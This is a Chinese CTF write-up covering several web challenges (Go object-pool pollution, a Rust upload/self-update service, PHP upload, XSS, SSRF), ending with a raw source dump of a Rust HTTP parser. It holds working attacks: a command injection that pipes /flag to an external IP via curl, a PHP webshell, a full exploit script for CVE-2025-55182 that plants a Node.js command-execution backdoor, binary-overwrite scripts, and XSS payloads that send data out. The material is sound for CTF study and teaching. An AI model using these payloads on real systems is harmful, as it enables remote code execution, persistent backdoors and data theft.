MyMonitor

GO语言代码审计 + 对象池污染

拿到附件进行审计,MonitorPool是一个全局对象池,所有 handler(如 UserCmd, AdminCmd)都从这个池中获取 *MonitorStruct。

用完后应调用 reset() 清空字段,再放回池中。

1
2
3
var MonitorPool = &sync.Pool{
New: func() any { return &MonitorStruct{} },
}

但是在UserCmd 在 error 路径下不会调用 reset(),这会导致导致触发err时,monitor 对象带着当前数据被直接放回池中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func UserCmd(c *gin.Context) {
monitor := MonitorPool.Get().(*MonitorStruct)
defer MonitorPool.Put(monitor)
if err := c.ShouldBindJSON(monitor); err != nil {
fmt.Println(monitor)
c.JSON(400, gin.H{"error": err.Error()})
//没有调用reset()就直接把对象放回对象池中
return
}
fmt.Println(monitor)
defer monitor.reset()
if monitor.Cmd != "status" {
c.JSON(403, gin.H{"response": "No permission to execute this command"})
return
}
c.JSON(400, gin.H{"response": "Not implemented yet :("})
return
}

查看前端源码,当payload没有args参数时,只会发送含有cmd参数的json

1
2
const payload = { cmd };
if (args) payload.args = args;

但是在AdminCmd()中直接从对象池中获取一个对象,此时可以拿到上一个已经被污染的对象

1
monitor := MonitorPool.Get().(*MonitorStruct)

以下代码会自动解析HTTP 请求中的 JSON 数据,赋值到 monitor 结构体的对应字段上

1
if err := c.ShouldBindJSON(monitor);

但是admin执行ls命令,更新的是monitor.Cmd,而monitor.Args字段则为已经被污染的Args字段

1
2
fullCommand := fmt.Sprintf("%s %s", monitor.Cmd, monitor.Args)
output, err := exec.Command("bash", "-c", fullCommand).CombinedOutput()

那么我们可以只传递args字段触发err,污染对象池中的Args,题目提示NaCl闲得发昏了写了个简易WebShell并隔一段时间输入“ls”命令,我们的Args会被拼接到monitor.Cmd,成功执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/user/cmd HTTP/1.1
Host: forward.vidar.club:30188
Content-Type: application/json
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNibiJ9.7ys1PC0FhovD_eNnYi5P3FgRcxN9elKQ4L8XyAtE8Xs
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Referer: http://forward.vidar.club:30188/user
Origin: http://forward.vidar.club:30188
Content-Length: 69

{"args":"&& cat /flag | curl -d @- http://114.51.419.198:10"}

easyuu

抓包发现/api/list_dir接口下可以实现目录查看

img

在下载接口编码相对路径/api/download_file/..%2Fupdate%2Feasyuu.zip拿到easyuu源码

upload_file(),我们能通过传递path1字段控制文件上传路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pub async fn upload_file(data: MultipartData) -> Result<usize, ServerFnError> {
use std::path::PathBuf;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;

let mut data = data.into_inner().unwrap();
let mut count = 0;
let mut base_dir = PathBuf::from("./uploads");

while let Ok(Some(mut field)) = data.next_field().await {
match field.name().as_deref() {
Some("path1") => {
if let Ok(p) = field.text().await {
base_dir = PathBuf::from(p);
}
continue;
}
Some("file") => {
let name = field.file_name().unwrap_or_default().to_string();
let path = base_dir.join(&name);
let mut file = OpenOptions::new()
.create(true)
.write(true)
.truncate(true)
.open(path)
.await?;
while let Ok(Some(chunk)) = field.chunk().await {
let len = chunk.len();
count += len;
file.write_all(&chunk).await?;
}
file.flush().await?;
}
_ => continue,
}
}

Ok(count)
}

同时发现程序有自更新机制,通过比对./update/easyuu的版本号来实现更新

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#[cfg(feature = "ssr")]
async fn get_new_version() -> Option<Version> {
use tokio::process::Command;

let output = Command::new("./update/easyuu")
.arg("--version")
.output()
.await
.ok()?;

let version_str = String::from_utf8(output.stdout).ok()?.trim().to_string();
Version::parse(&version_str).ok()
}

#[cfg(feature = "ssr")]
async fn update() -> Result<(), Box<dyn std::error::Error>> {
let new_binary = "./update/easyuu";
self_replace::self_replace(&new_binary)?;
// fs::remove_file(&new_binary)?;
Ok(())
}

#[cfg(feature = "ssr")]
fn restart_myself(path: std::path::PathBuf) {
use std::os::unix::process::CommandExt;
use std::process::Command;

let _ = Command::new(path).exec();
}

在源码文件夹下发现存在git目录,查看git记录发现有print flag的commit,于是退回到上一个 commit

img

手动修改程序版本号为更新的版本后重新编译,在上传easyuu文件即可

img

另一种解法是通过上传恶意脚本覆盖 /app/update/easyuu,先上传payload.sh把环境变量写入文件env.txt

1
2
3
4
5
6
7
8
#!/bin/sh
# 检查脚本的第一个命令行参数是否等于字符串 --version
if [ "$1" = "--version" ]; then
# 把所有环境变量写入能读到的文件
env > /app/uploads/env.txt
# 2. 输出当前版本号 "0.1.0",骗过版本检查
echo "0.1.0"
fi

执行脚本更新easyuu,服务端主动调用,再下载env.txt查看flag

1
2
3
4
5
6
import requests
files=[
('path1',(None,'/app/update')),
('file',('easyuu',open('payload.sh','rb'),'application/octet-stream'))
]
requests.post('http://forward.vidar.club:31296/api/upload_file', files=files)

baby-web?

附件中指出能上传php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
$target_dir = "uploads/";
if (!file_exists($target_dir)) mkdir($target_dir, 0777, true);

$uploadOk = 1;
$message = "";
$type = "error";

if(isset($_POST["submit"])) {
$origName = $_FILES['fileToUpload']['name'];
$target_file = $target_dir . $origName;

if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $target_file)) {
$message = "文件已上传,保存名:" . $origName;
$type = "success";
} else {
$message = "抱歉,上传你的文件时出现了错误。";
}

if ($_FILES["fileToUpload"]["size"] > 10000000) {
$message = "抱歉,你的文件太大了。";
$uploadOk = 0;
}
$fileExt = strtolower(pathinfo($_FILES["fileToUpload"]["name"], PATHINFO_EXTENSION));
$allowedTypes = ["jpg", "jpeg", "png", "gif", "pdf", "doc", "docx", "txt","htaccess","php"];
if(!in_array($fileExt, $allowedTypes)) {
$message = "抱歉,只允许上传 JPG, JPEG, PNG, GIF, PDF, DOC, DOCX & TXT 格式的文件。";
$uploadOk = 0;
}

if ($uploadOk != 1)
{
if (file_exists($target_file))
@unlink($target_file);
$message .= " 你的文件没有被上传。";
}

header("Location: l0cked_myst3ry.php?message=" . urlencode($message) . "&type=" . urlencode($type));
exit();
}
?>

写马<?php eval($_POST['shell'])?>上传但是没发现flag

img

查看容器运行在10.0.0.1,外部无法直接访问,且内网存在 10.0.0.2:3000 运行 Next.js 服务

img

利用CVE-2025-55182,写PHP代理脚本利用原型链污染实现内存马注入,贴一下hcn0师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
$target = "http://10.0.0.2:3000/";
$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : "cat /flag";
// 内存马核心 Payload(劫持 http.Server.prototype.emit,将后门挂载到 /deep)
$payload_json = '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"(async()=>{const http=await import(\'node:http\');const url=await import(\'node:url\');const cp=await import(\'node:child_process\');const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event===\'request\'){const[req,res]=args;const parsedUrl=url.parse(req.url,true);if(parsedUrl.pathname===\'/deep\'){const cmd=parsedUrl.query.cmd||\'whoami\';cp.exec(cmd,(err,stdout,stderr)=>{res.writeHead(200,{\'Content-Type\':\'application/json\'});res.end(JSON.stringify({success:!err,stdout,stderr,error:err?err.message:null}));});return true;}}return originalEmit.apply(this,arguments);};})();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}';

$boundary = "----WebKitFormBoundaryExploit";
$data = "--{$boundary}\r\n" .
"Content-Disposition: form-data; name=\"0\"\r\n\r\n" .
"{$payload_json}\r\n" .
"--{$boundary}\r\n" .
"Content-Disposition: form-data; name=\"1\"\r\n\r\n" .
"\"$@0\"\r\n" .
"--{$boundary}\r\n" .
"Content-Disposition: form-data; name=\"2\"\r\n\r\n" .
"[]\r\n" .
"--{$boundary}--\r\n";

// 1. 发送注入请求 (挂载内存马)
$ch1 = curl_init();
curl_setopt($ch1, CURLOPT_URL, $target);
curl_setopt($ch1, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch1, CURLOPT_POST, true);
curl_setopt($ch1, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch1, CURLOPT_TIMEOUT, 2);
curl_setopt($ch1, CURLOPT_HTTPHEADER, array(
"Next-Action: x",
"Content-Type: multipart/form-data; boundary={$boundary}",
"Accept: text/x-component"
));
@curl_exec($ch1);
curl_close($ch1);

sleep(1);

// 2. 触发后门接口获取回显
$shell_url = $target . "deep?cmd=" . urlencode($cmd);
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $shell_url);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_TIMEOUT, 10);
$result = curl_exec($ch2);
curl_close($ch2);

echo $result;
?>

魔理沙的魔法目录

在开发者工具的网络流中发现record的api,抓包修改time字段

img

博丽神社的绘马挂

登陆后写一个绘马再发布,查看前端明显是打储存型xxs,归档后发现在archoves的响应返回了json数据

img

官方的目标是构造一个xss的payload让灵梦访问/api/search将查询的归档内容带出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<img
src="x"
onerror="
//创建全局可调用函数k
window.k = function(d) {
if (d.results) {
//查找Hgame的内容,即flag
for (var i = 0; i < d.results.length; i++) {
var c = d.results[i].content;
if (c.indexOf('Hgame') > -1) {
//把flag的内容发送到/api/messages接口,带出数据
fetch('/api/messages', {
method: 'POST',
headers: {
'ContentType': 'application/json'
},
body: JSON.stringify({
content: '[FLAG]' + c,
is_private: false
})
});
break;
}
}
}
};

创建一个script元素为s
var s = document.createElement('script');
s.src = '/api/search?q=Hgame&callback=window.k';
//插入DOM,执行script内容
document.body.appendChild(s);
"
>

自己的payload,直接将/api/archives数据外带

1
<img src=x onerror="fetch('/api/archives').then(r=>r.json()).then(data=>{new Image().src='http://公网IP/get_flag.php?c='+btoa(JSON.stringify(data));});">

Vidarshop

多次进行账号注册发现uid规律,注册1413914就是admin的uid

img

题目提示python反序列化,没想到balance是全局变量,一直以为是类属性

img

返回商店购买即可

img

My Little Assistant

能访问网页并且回显响应信息

img

在服务器部署创建一个恶意网站,带出file:///flag,应该是个非预期

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
<body>
<script>
// 如果当前地址不是 file 协议,就强行跳转
if (window.location.protocol !== 'file:') {
window.location.href = 'file:///flag';
}
</script>
</body>
</html>

img

《文文。新闻》

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
import http from 'http';
import httpProxy from 'http-proxy';

const RUST_TARGET = 'http://127.0.0.1:3000';
const VITE_TARGET = 'http://127.0.0.1:5173';

const proxy = httpProxy.createProxyServer({
agent: new http.Agent({
keepAlive: true,
maxSockets: 100,
keepAliveMsecs: 10000
}),
xfwd: true,
});

proxy.on('error', (err, req, res) => {
console.error('[Proxy Error]', err.message);
if (res && !res.headersSent) {
try { res.writeHead(502); res.end('Bad Gateway'); } catch(e){}
}
});

const server = http.createServer((req, res) => {
if (req.url.startsWith('/api/')) {
proxy.web(req, res, { target: RUST_TARGET });
} else {
proxy.web(req, res, { target: VITE_TARGET });
}
});

console.log("馃敟 Node.js Dumb Proxy running on port 80");
server.listen(80);
mod http_parser;
mod handlers;
use tokio::net::{TcpListener, TcpStream};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use bytes::{BytesMut, Buf};
use http_parser::ParseResult;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>>{
let listener = TcpListener::bind("0.0.0.0:3000").await?;
println!("server running on 127.0.0.1:3000");

loop {
let (socket, _) = listener.accept().await?;

tokio::spawn(async move {
if let Err(e) = process_connection(socket).await {
eprintln!("Connection error: {}", e);
}
});
}
}

async fn process_connection(mut socket: TcpStream) -> Result<(), Box<dyn std::error::Error>> {
let mut buffer = BytesMut::with_capacity(4096);

loop {
let n = socket.read_buf(&mut buffer).await?;

if n == 0 {
if buffer.is_empty() {
return Ok(());
} else {
eprintln!("Connection closed with {} bytes remaining (garbage)", buffer.len());
return Ok(());
}
}

loop {
match http_parser::parse_packet(&mut buffer) {
ParseResult::Complete(req, consumed_len) => {
println!("Parsed request: {} {}", req.method, req.route);
let response = router(&req);
socket.write_all(response.as_bytes()).await?;
buffer.advance(consumed_len);
}

ParseResult::Partial => {
break;
}

ParseResult::Invalid(skip_len) => {
println!("Warning: Skipping {} bytes of garbage data...", skip_len);
// }
buffer.advance(skip_len);

if buffer.is_empty() {
break;
}
}
}
}
}
}

fn router(req: &http_parser::Request) -> String {
if req.version != "HTTP/1.1" {
return handlers::resp_err("400 Bad Request", "Wrong HTTP Version. Only HTTP/1.1 is supported.");
}

if !req.queries.is_empty() {
println!(" -> Query params: {:?}", req.queries);
}

match req.route.as_str() {
"/api/register" => handlers::handle_register(req),
"/api/login" => handlers::handle_login(req),
"/api/comment" => handlers::handle_comment(req),
_ => handlers::resp_not_found(),
}
}
use crate::http_parser::Request;
use std::sync::Mutex;
use std::collections::HashMap;
use serde::{Deserialize, Serialize};
use lazy_static::lazy_static;
use uuid::Uuid;

lazy_static! {
static ref USERS: Mutex<HashMap<String, UserRecord>> = Mutex::new(HashMap::new());

static ref COMMENTS: Mutex<Vec<CommentData>> = Mutex::new(Vec::new());
}

#[derive(Deserialize)]
struct AuthRequest {
username: String,
password: String,
}

#[derive(Clone)]
struct UserRecord {
password: String,
token: String,
}

#[derive(Serialize, Deserialize, Clone)]
struct CommentData {
username: String,
content: String,
}

fn make_resp(status: &str, body: &str) -> String {
format!(
"HTTP/1.1 {}\r\nContent-Type: application/json\r\nContent-Length: {}\r\n\r\n{}",
status, body.len(), body
)
}

fn resp_ok(msg: &str) -> String {
make_resp("200 OK", msg)
}

pub fn resp_err(status: &str, msg: &str) -> String {
make_resp(status, &format!(r#"{{"error": "{}"}}"#, msg))
}

pub fn handle_register(req: &Request) -> String {
if req.method != "POST" { return resp_err("405 Method Not Allowed", "Only POST"); }

let content_type = req.headers.get("content-type").map(|s| s.as_str()).unwrap_or("");
let form: AuthRequest = if content_type.contains("application/json") {
match req.parse_json() {
Ok(d) => d,
Err(_) => return resp_err("400 Bad Request", "Invalid JSON format"),
}
} else if content_type.contains("application/x-www-form-urlencoded") {
let map = req.parse_form();

let username = map.get("username").cloned().unwrap_or_default();
let password = map.get("password").cloned().unwrap_or_default();

if username.is_empty() || password.is_empty() {
return resp_err("400 Bad Request", "Missing username or password");
}

AuthRequest { username, password }
} else {
return resp_err("415 Unsupported Media Type", "Content-Type must be json or form");
};

let mut db = USERS.lock().unwrap();
if db.contains_key(&form.username) {
return resp_err("409 Conflict", "User already exists");
}
let new_token = Uuid::new_v4().to_string();
db.insert(
form.username.clone(),
UserRecord {
password: form.password,
token: new_token.clone(),
}
);
println!("User registered: {} with token: {}", form.username, new_token);

resp_ok(&format!(r#"{{"status": "registered", "token": "{}"}}"#, new_token))
}

pub fn handle_login(req: &Request) -> String {
if req.method != "POST" { return resp_err("405 Method Not Allowed", "Only POST"); }

let content_type = req.headers.get("content-type").map(|s| s.as_str()).unwrap_or("");
let form: AuthRequest = if content_type.contains("application/json") {
match req.parse_json() {
Ok(d) => d,
Err(_) => return resp_err("400 Bad Request", "Invalid JSON format"),
}
} else if content_type.contains("application/x-www-form-urlencoded") {
let map = req.parse_form();

let username = map.get("username").cloned().unwrap_or_default();
let password = map.get("password").cloned().unwrap_or_default();

if username.is_empty() || password.is_empty() {
return resp_err("400 Bad Request", "Missing username or password");
}

AuthRequest { username, password }
} else {
return resp_err("415 Unsupported Media Type", "Content-Type must be json or form");
};

let db = USERS.lock().unwrap();

if let Some(record) = db.get(&form.username) {
if record.password == form.password {
return resp_ok(&format!(r#"{{"status": "success", "token": "{}"}}"#, record.token));
}
}

resp_err("401 Unauthorized", "Invalid credentials")
}

pub fn handle_comment(req: &Request) -> String {
let auth_header = req.headers.get("authorization").map(|v| v.as_str());
if auth_header.is_none() {
return resp_err("401 Unauthorized", "Missing Authorization header");
}
let input_token = auth_header.unwrap();
let mut current_user = String::new();
{
let db = USERS.lock().unwrap();
for (username, record) in db.iter() {
if record.token == input_token {
current_user = username.clone();
break;
}
}
}

if current_user.is_empty() {
return resp_err("403 Forbidden", "Invalid Token");
}

match req.method.as_str() {
"GET" => {
let db = COMMENTS.lock().unwrap();
let json = serde_json::to_string(&*db).unwrap_or("[]".to_string());
resp_ok(&json)
},

"POST" => {
#[derive(Deserialize)]
struct NewComment { content: String }

let content_type = req.headers.get("content-type").map(|s| s.as_str()).unwrap_or("");
let new_comment: NewComment = if content_type.contains("application/json") {
match req.parse_json() {
Ok(p) => p,
Err(_) => return resp_err("400 Bad Request", "Invalid JSON"),
}
} else if content_type.contains("application/x-www-form-urlencoded") {
let map = req.parse_form();

let content = map.get("content").cloned().unwrap_or_default();

if content.is_empty() {
return resp_err("400 Bad Request", "Missing content");
}

NewComment { content }
} else {
return resp_err("415 Unsupported Media Type", "Content-Type must be json or form");
};

let mut comments = COMMENTS.lock().unwrap();

println!("[HANDLER] Saving comment: {:?}", new_comment.content);

comments.push(CommentData {
username: current_user,
content: new_comment.content,
});

resp_ok(r#"{"status": "comment added"}"#)
},
_ => resp_err("405 Method Not Allowed", "Method not supported"),
}
}

pub fn resp_not_found() -> String {
resp_err("404 Not Found", "Resource not found")
}
use bytes::BytesMut;
use std::{collections::HashMap, str};
use serde::Deserialize;

#[derive(Debug)]
pub struct Request {
pub method: String,
pub route: String,
pub queries: HashMap<String, String>,
pub version: String,
pub headers: HashMap<String, String>,
pub body: String
}

pub enum ParseResult {
Complete(Request, usize),
Partial,
Invalid(usize),
}

impl Request {
pub fn parse_form(&self) -> HashMap<String, String> {
let mut map = HashMap::new();
for pair in self.body.split('&') {
if let Some((k, v)) = pair.split_once('=') {
if !k.is_empty() {
map.insert(k.to_string(), v.to_string());
}
} else if !pair.is_empty() {
map.insert(pair.to_string(), "".to_string());
}
}
map
}

pub fn parse_json<T: for<'a> Deserialize<'a>>(&self) -> Result<T, serde_json::Error> {
serde_json::from_str(&self.body)
}
}

pub fn parse_packet(buffer: &mut BytesMut) -> ParseResult {
let req_line_end = match buffer.windows(2).position(|w| w == b"\r\n") {
Some(pos) => pos,
None => return ParseResult::Partial,
};

let req_line_len = req_line_end + 2;

let raw_req_line = match str::from_utf8(&buffer[..req_line_end]) {
Ok(s) => s,
Err(_) => return ParseResult::Invalid(req_line_len),
};

let (method, route, queries, version) = match parse_reqline(raw_req_line) {
Some(res) => res,
None => return ParseResult::Invalid(req_line_len),
};

let header_end = match buffer.windows(4).position(|w| w == b"\r\n\r\n") {
Some(pos) => pos,
None => return ParseResult::Partial,
};

let raw_headers = match str::from_utf8(&buffer[req_line_len..header_end]) {
Ok(s) => s,
Err(_) => return ParseResult::Invalid(header_end + 4),
};
let headers = parse_headers(raw_headers);

let body_length: usize = headers
.get("content-length")
.and_then(|v| v.parse().ok())
.unwrap_or(0);

let total_len = header_end + 4 + body_length;
if buffer.len() < total_len {
return ParseResult::Partial;
}

let body_start = header_end + 4;
let body_end = body_start + body_length;
let body = str::from_utf8(&buffer[body_start..body_end]).unwrap_or("").to_string();

ParseResult::Complete(
Request {
method,
route,
queries,
version,
headers,
body,
},
total_len
)
}

fn parse_headers(raw_headers: &str) -> HashMap<String, String> {
let lines = raw_headers.lines();
let mut headers: HashMap<String, String> = HashMap::new();
for line in lines {
if let Some((k, v)) = line.split_once(":") {
if !k.is_empty() {
headers.insert(
k.trim().to_lowercase(),
v.trim().to_string()
);
}
}
}
headers
}

fn parse_reqline(raw_req_line: &str) -> Option<(String, String, HashMap<String, String>, String)> {
let mut raw_req_parts = raw_req_line.split_whitespace();
let method = raw_req_parts.next()?.to_string();
let raw_uri = raw_req_parts.next()?;
let (path, queries) = parse_uri(raw_uri);
let version = raw_req_parts.next()?.to_string();
Some((method, path, queries
, version))
}

fn parse_uri(raw_uri: &str) -> (String, HashMap<String, String>) {
let (path, raw_query) = match raw_uri.split_once("?") {
Some((p, q)) => (p, q),
None => (raw_uri, "")
};

let mut queries: HashMap<String, String> = HashMap::new();

if !raw_query.is_empty() {
for query in raw_query.split("&") {
if query.is_empty() { continue; }

let (k, v) = match query.split_once("=") {
Some((k, v)) => (k, v),
None => (query, "")
};

if !k.is_empty() {
queries
.insert(k.to_string(), v.to_string());
}
}
}
(path.to_string(), queries)
}
import __vite__cjsImport0_react_jsxDevRuntime from "/node_modules/.vite/deps/react_jsx-dev-runtime.js?v=f665dcff"; const jsxDEV = __vite__cjsImport0_react_jsxDevRuntime["jsxDEV"];
import __vite__cjsImport1_react from "/node_modules/.vite/deps/react.js?v=f665dcff"; const React = __vite__cjsImport1_react.__esModule ? __vite__cjsImport1_react.default : __vite__cjsImport1_react;
import __vite__cjsImport2_reactDom_client from "/node_modules/.vite/deps/react-dom_client.js?v=78d194e2"; const ReactDOM = __vite__cjsImport2_reactDom_client.__esModule ? __vite__cjsImport2_reactDom_client.default : __vite__cjsImport2_reactDom_client;
import App from "/src/App.jsx";
import "/src/index.css";
ReactDOM.createRoot(document.getElementById("root")).render(
/* @__PURE__ */ jsxDEV(React.StrictMode, { children: /* @__PURE__ */ jsxDEV(App, {}, void 0, false, {
fileName: "/app/frontend/src/main.jsx",
lineNumber: 8,
columnNumber: 5
}, this) }, void 0, false, {
fileName: "/app/frontend/src/main.jsx",
lineNumber: 7,
columnNumber: 3
}, this)
);
import axios from "/node_modules/.vite/deps/axios.js?v=ae05c96b";

const request = axios.create({
timeout: 5000
});

request.interceptors.request.use(config => {
const token = localStorage.getItem('token');
if (token) {
config.headers['Authorization'] = token;
}
return config;
}, error => {
return Promise.reject(error);
});

request.interceptors.response.use(response => {
return response.data;
}, error => {
if (error.response) {
alert(error.response.data.error || 'Request Failed');
}
return Promise.reject(error);
});

export default request;